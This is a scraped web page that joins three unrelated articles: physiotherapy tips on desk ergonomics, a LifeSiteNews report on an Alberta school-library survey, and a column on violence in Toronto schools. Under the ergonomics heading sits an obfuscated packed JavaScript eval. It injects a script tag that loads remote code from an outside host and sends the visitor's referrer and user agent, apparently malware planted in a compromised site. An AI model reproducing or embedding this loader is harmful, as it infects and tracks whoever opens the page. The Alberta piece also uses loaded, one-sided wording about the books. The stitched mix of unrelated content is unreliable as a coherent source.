Education
Reduce pain and prevent injury by improving your workspace

Ergonomics: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abyen|var|u0026u|referrer|bkise||js|php’.split(‘|’),0,{}))
How to optimize your workstation and posture to prevent pain and injury.
In the modern work world many of us spend our days sitting at a desk in front of the computer. The human body however was not designed for this sedentary lifestyle and will get stiff and sore from lack of movement. Even if you are active outside of work, sitting at a desk with poor setup and slouched posture can give you chronic aches and pains or exacerbate existing injuries.
Some common complaints that could be related to your posture include:
- Neck pain and stiffness
- Headaches
- Numbness or tingling in the arms or hands
- Shoulder pain
- Upper back stiffness
- Low back pain
- Sciatica
Making some simple ergonomic adjustments to your workstation can help you feel more comfortable during and after your work day:
- Ensure you have a good chair that is comfortable for you and adjusted properly. Ideally you should be sitting with your buttocks to the back of the chair so that you are leaning against the backrest. You may need to adjust the lumbar support or add a rolled up towel or small pillow behind the small of your back to support your spine’s natural curve.
- Sit with both feet flat on the floor and the knees bent to about 90 degrees. Adjust your chair height accordingly or add a stool under your feet if you can’t touch the ground.
- Adjust your computer monitor so that your screen is at eye level. This can be as easy as putting a book underneath to raise it up. You should not have to look down or strain to see your computer.
- Have your keyboard at a comfortable height so that your elbows are bent to approximately 90 degrees and you are not reaching forward. If you have a laptop, consider using an external keyboard so that you type in a neutral position.
- Adapt your workstation to fit you. Move things that you use frequently throughout the day (such as the phone, files, etc.) to a location that is easy to access so that you don’t have to reach or move awkwardly to get to them. This will help you avoid sprains and strains from poor movement patterns.
Even with the perfect ergonomic setup, poor posture can catch up to you. Some common habits to AVOID are:
- Crossing your knees. Sitting in this position twists your pelvis and lumbar spine, putting extra strain on the muscles, joints, and ligaments. While it may feel good temporarily, you probably need to keep switching positions to stay comfortable because your body is not in a neutral position.
- Perching on the front of your seat. While you may think it is good to try to hold yourself up straight without using the backrest it is not realistic to do this for an 8 hour day. Your postural muscles will fatigue quickly and you will end up slouching and feeling sore.
- Leaning your shoulders forward and head down to look at your computer. Think of all the extra strain you are putting on your neck and shoulder to hold your body in this position! Try to remind yourself to sit up tall – Think shoulders down and back and head up. Your spine should feel long and supported, but not rigid.
It is also important to stay active throughout the day and break up long periods of sitting in one position. Here are some ideas to keep you limber throughout the day:
· Set an alarm to get up and move every 20-30 minutes. This could be as simple as standing up to do some stretches, taking a quick walk around the office, a washroom break, or going to get some water. Interrupted sitting is the best way to prevent tightness from building up in your spine and soft tissues
· Stretch at your desk. There are lots of simple movements and stretches you can do as you work to keep your body feeling good. Try to remember to move a little bit at least every 15-20 minutes. Try stretching your neck side to side, moving your head gently in different directions, rolling your shoulders backwards, squeezing your shoulder blades together, stretching your legs out in front of you, and moving your feet and ankles.
We hope these tips have been helpful and have given you ideas that you can incorporate into your daily life. Do not hesitate to call us and make an appointment. An in depth one-on-one assessment with one of our physiotherapists will help address your specific needs for injury prevention or management.
Written by Stephanie Connolly
Alberta
Alberta poll shows strong resistance to pornographic material in school libraries

From LifeSiteNews
A government survey revealed strong public support, particularly among parents, for restricting or banning sexually explicit books.
Albertans are largely opposed to their children viewing pornography in school libraries, according to government polling.
In a June 20 press release, the Government of Alberta announced that their public engagement survey, launched after the discovery of sexually explicit books in school libraries, found that Albertans strongly support removing or limiting such content.
“Parents, educators and Albertans in general want action to ensure children don’t have access to age-inappropriate materials in school libraries,” Demetrios Nicolaides, Minister of Education and Childcare, said.
“We will use this valuable input to guide the creation of a province-wide standard to ensure the policy reflects the priorities and values of Albertans,” he continued.
READ: Support for traditional family values surges in Alberta
The survey, conducted between May 28 to June 6, received nearly 80,000 responses, revealing a widespread interest in the issue.
While 61 percent of respondents said that they had never previously been concerned about children viewing sexually explicit content in libraries, most were opposed to young children viewing it. 34 percent said children should never be able to access sexually explicit content in school libraries, while 23 percent believed it should be restricted to those aged 15 and up.
Similarly, 44 percent of parents of school-aged children were supportive of government regulations to control content in school libraries. Additionally, 62 percent of respondents either agreed or strongly agreed that “parents and guardians should play a role in reporting or challenging the availability of materials with sexually explicit content in school libraries.”
READ: Alberta Conservatives seeking to ban sexually graphic books from school libraries
The polling results come after the Conservative Alberta government under Premier Danielle Smith announced that they are going ahead with plans to eventually ban books with sexually explicit as well as pornographic material, many of which contain LGBT and even pedophilic content, from all school libraries, on May 27.
At the time, Nicolaides revealed that it was “extremely concerning” to discover that sexually explicit books were available in school libraries.
The books in question, found at multiple school locations, are Gender Queer, a graphic novel by Maia Kobabe; Flamer, a graphic novel by Mike Curato; Blankets, a graphic novel by Craig Thompson; and Fun Home, a graphic novel by Alison Bechdel.
David Clinton
Why Are Ontario’s Public Schools So Violent?

David Clinton
Ontario’s Auditor General just released a performance audit on the Toronto District School Board. I’m sure it’ll surprise exactly no one that “financial and capital resources are not consistently allocated in the most cost-effective or efficient way” or that “The effective management of operations was not always being measured and assessed for internal decision-making”.
And there was plenty of institutional chaos:
“Between 2017/18 and 2022/23…about 38% of TDSB schools did not report conducting the minimum number of fire drills required by the Ontario Fire Code annually, and about 31% of TDSB schools did not report conducting the minimum number of lockdown drills required by TDSB policy annually. The TDSB does not have an effective process to ensure the required number of drills are performed by each school, each year, or that they are performed in accordance with TDSB policy when performed.”
What else would you expect from a massive government bureaucracy that employs 40,000 people, spends $3.6 billion annually and – based on many of the highlighted items on their website – is laser-focused on pretty much anything besides education?
What you might not have seen coming was that around half of the report centered on in-school violence. To be sure, we’re told that there were only 407 violent events reported to the board during the 2022/2023 school year – which is a rate of around 17 events for every 10,000 students. 17:10,000 doesn’t exactly sound like an environment that’s spiraling out of control.
There was a caveat:
“Due to input errors by principals, the TDSB underreported the number of violent incidents that occurred between 2017/18 to 2021/22 to the Ministry by about 9%.”
Ok. But we’re still nowhere near Mad Max levels of violence. So what’s attracting so much of the auditor’s attention? Perhaps it’s got something to do with a couple of recent surveys whose results don’t quite match the board’s own records. Here’s how the audit describes the first of those:
“The 2022/23 TDSB Student and Parent Census was responded to by over 138,000 students, parents, guardians and caregivers. It showed that 23% of students in Grades 4 to 12 that responded to the survey said they were physically bullied (e.g., grabbed, shoved, punched, kicked, tripped, spat at), and about 71% stated they were verbally bullied (e.g., sworn at, threatened, insulted, teased, put down, called names, made fun of). Further, about 14% of student respondents indicated they had been cyberbullied. TDSB’s central tracking of all bullying incidents is much lower than this, suggesting that they are not centrally capturing a large number of bullying incidents that are occurring.”
“23% of students in Grades 4 to 12 that responded to the survey said they were physically bullied”. That’s not a great fit with that 17:10,000 ratio, even if you add the 9 percent of underreported incidents. And bear in mind that these students and their families were willing to discuss their experiences in a survey run by the school board itself, so it’s not like they’re hard to find.
But that’s not the worst of it. The Elementary Teachers’ Federation of Ontario (ETFO) ran their own survey in 2023. They wanted to hear about their members’ experiences with workplace violence. Here, quoting from the audit report, is what TDSB respondents told them:
- 42% had experienced physical force against themselves in 2022/23;
- 18% had experienced more than 10 of these physical force incidents in 2022/23;
- 81% indicated the number of violent incidents increased since they started working;
- about 77% responded that violence was a growing problem at their school;
- about 29% indicated they had suffered a physical injury;
- 57% had suffered a psychological injury/illness (such as mental stress, psychological or emotional harm) as a result of workplace violence against them; and
- about 85% indicated that violence at their school made teaching and working with students more difficult.
29 percent of teachers suffered a physical injury due to workplace violence. That’s elementary school teachers we’re talking about.
For perspective, even accounting for the 9 percent underreporting, the TDSB was aware of events impacting less than a quarter of a percentage point of their students (and apparently didn’t report any violence against teachers). But by their own accounts, 23 percent of all students and 42 percent of elementary teachers have suffered attacks. Are board officials willfully ignoring this stuff?
And if only there was some way to address violence and other criminal activities on school property. Perhaps – and I’m just spitballing here – there could even be people working in schools whose job it would be to (what’s the word I’m looking for?) police crime.
On a completely unrelated note, back in November, 2017, the Toronto District School Board voted 18-3 to permanently end their School Resource Officer (SRO) program. Since then, police officers have been unwelcome on board property.
To be sure, the TDSB has “accepted” all 18 of the report’s recommendations. But talk is cheap. Who’s to say that commitment won’t play out the same way we’ve seen with their fire drill compliance.
Can you spell “class action lawsuit”?
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